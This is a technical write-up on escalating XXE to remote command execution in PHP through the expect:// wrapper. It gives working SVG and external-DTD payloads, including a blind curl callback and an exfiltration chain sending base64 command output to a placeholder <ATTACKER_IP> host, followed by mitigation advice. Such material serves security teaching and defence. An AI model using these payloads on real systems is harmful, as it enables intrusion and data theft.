PRIMARY CATEGORY → XXE
Theory
An XXE vulnerability does not normally provide Remote Code Execution by itself. Protocols such as file:// and http:// provide file-read or request-sending primitives, but do not execute their contents as code.
It may lead directly to RCE when the XML parser delegates an external entity to an execution-capable protocol handler, such as PHP’s expect:// stream wrapper.
The processing flow would be →
External Entity
↓
XML Parser / libxml
↓
PHP Stream Layer
↓
expect:// Wrapper
↓
Operating-System ProcessWhen libxml resolves the entity, it asks PHP to open its SYSTEM identifier. PHP recognizes the expect:// scheme, starts the specified process through a pseudo-terminal and returns its output as the entity’s replacement text.
The command is executed when the entity is dereferenced, even when its output is not returned in the HTTP response.
Not every PHP installation supports
expect://. The PECL Expect extension must be installed and the wrapper is not enabled by default.
Requirements
The following conditions must be satisfied:
-
External entity loading or substitution is enabled.
-
The attacker-controlled entity is dereferenced.
-
The PHP Expect extension is installed.
-
The
expect://wrapper is registered. -
The web-server user is allowed to execute the requested command.
-
Outbound connectivity is available when using an OOB callback.
Typical vulnerable PHP parsing code may contain:
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);LIBXML_DTDLOAD allows external DTD loading, while LIBXML_NOENT substitutes entity references with their resolved contents.
PHP Extension - Expect
Command Execution
A general external entity can reference the expect:// wrapper:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY command SYSTEM "expect://<COMMAND>">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="0" y="15">&command;</text>
</svg>When &command; is processed:
- libxml requests the
expect://idresource. - PHP selects the registered Expect stream wrapper.
- The wrapper starts the
<COMMAND>process. - Its standard output becomes the replacement text for
&command;. - The resulting text is inserted into the XML document.
If the parsed XML is returned or rendered, the command output may be visible. Otherwise, command execution remains blind.
Blind Command Execution
A network callback can confirm blind command execution:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY callback SYSTEM "expect://curl$IFS-s$IFS-o$IFS/dev/null$IFS'http://<ATTACKER_IP>:<PORT>/xxe-rce'">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="0" y="15">&callback;</text>
</svg>Start an HTTP server before submitting the XML:
python3 -m http.server <PORT>The requested command is equivalent to:
curl --silent --location --request GET --output /dev/null 'http://<ATTACKER_IP>:<PORT>/xxe-rce'$IFS is expanded by a compatible Unix shell into a field separator, normally whitespace. It is useful when literal spaces cannot be included in the SYSTEM identifier.
$IFSis shell syntax, not XML syntax. It only works when the command is interpreted by a compatible shell.
The --output /dev/null option prevents the HTTP response body from becoming entity replacement text, which could otherwise make the XML document invalid.
OOB Command-Output Exfiltration
When the command output is not reflected, an external DTD can execute the command and send its output to an attacker-controlled server.
SVG Document
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY % remote SYSTEM "http://<ATTACKER_IP>:<PORT>/evil.dtd">
%remote;
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"/>External DTD
<!ENTITY % output SYSTEM "expect://sh$IFS-c$IFS'id|base64$IFS-w0'">
<!ENTITY % stage "<!ENTITY % exfil SYSTEM 'http://<ATTACKER_IP>:<PORT>/?output=%output;'>">
%stage;
%exfil;The entities are processed as follows:
-
%output;opens theexpect://stream and executes the command. -
The command output is encoded using Base64.
-
%stage;expands into the declaration of%exfil;. -
%exfil;performs an HTTP request containing the encoded output. -
The value received by the attacker is decoded locally.
echo 'BASE64_VALUE' | base64 -dThe external DTD is important because parameter-entity references cannot normally appear inside markup declarations in the internal DTD subset.
Base64 avoids XML and URL parsing problems caused by whitespace, line breaks and reserved characters in raw command output.
Commonly Confused Chains
Log Poisoning
Reading a poisoned log through XXE does not execute the injected PHP code.
RCE requires a separate sink such as:
-
include() -
require() -
eval() -
A template engine that evaluates the file
Therefore:
Log Poisoning + XXE File Read ≠ RCE
Log Poisoning + Executable File Inclusion = Possible RCESSRF
XXE-based SSRF only provides the ability to send requests from the server.
It becomes RCE only when the reachable internal service ( e.g. another non-externally accessible Virtual Host ) exposes a separate command-execution vulnerability or a privileged administrative operation.
Shellshock
The presence of Nginx, FastCGI or PHP-FPM does not imply Shellshock.
Shellshock requires:
-
A vulnerable version of Bash.
-
A CGI program executed through Bash.
-
Attacker-controlled HTTP headers mapped to environment variables.
-
A request path that invokes the vulnerable CGI program.
PHP Wrappers
Wrappers such as file://, data:// or php://filter do not execute PHP merely because the XML parser reads them.
Execution requires an additional PHP evaluation sink such as include(), require() or eval().
Mitigation
-
Do not enable
LIBXML_NOENT,LIBXML_DTDLOADor DTD validation for untrusted XML. -
Use
LIBXML_NO_XXEwhen running PHP 8.4 or later with libxml 2.13 or later. -
Use
LIBXML_NONETas defence in depth, but do not rely on it against local wrappers such asexpect://. -
Remove the PECL Expect extension from web-facing PHP runtimes.
-
Run the application with minimal operating-system permissions.
-
Prevent the web-server user from writing executable files into the webroot.
-
Restrict unnecessary outbound network connectivity.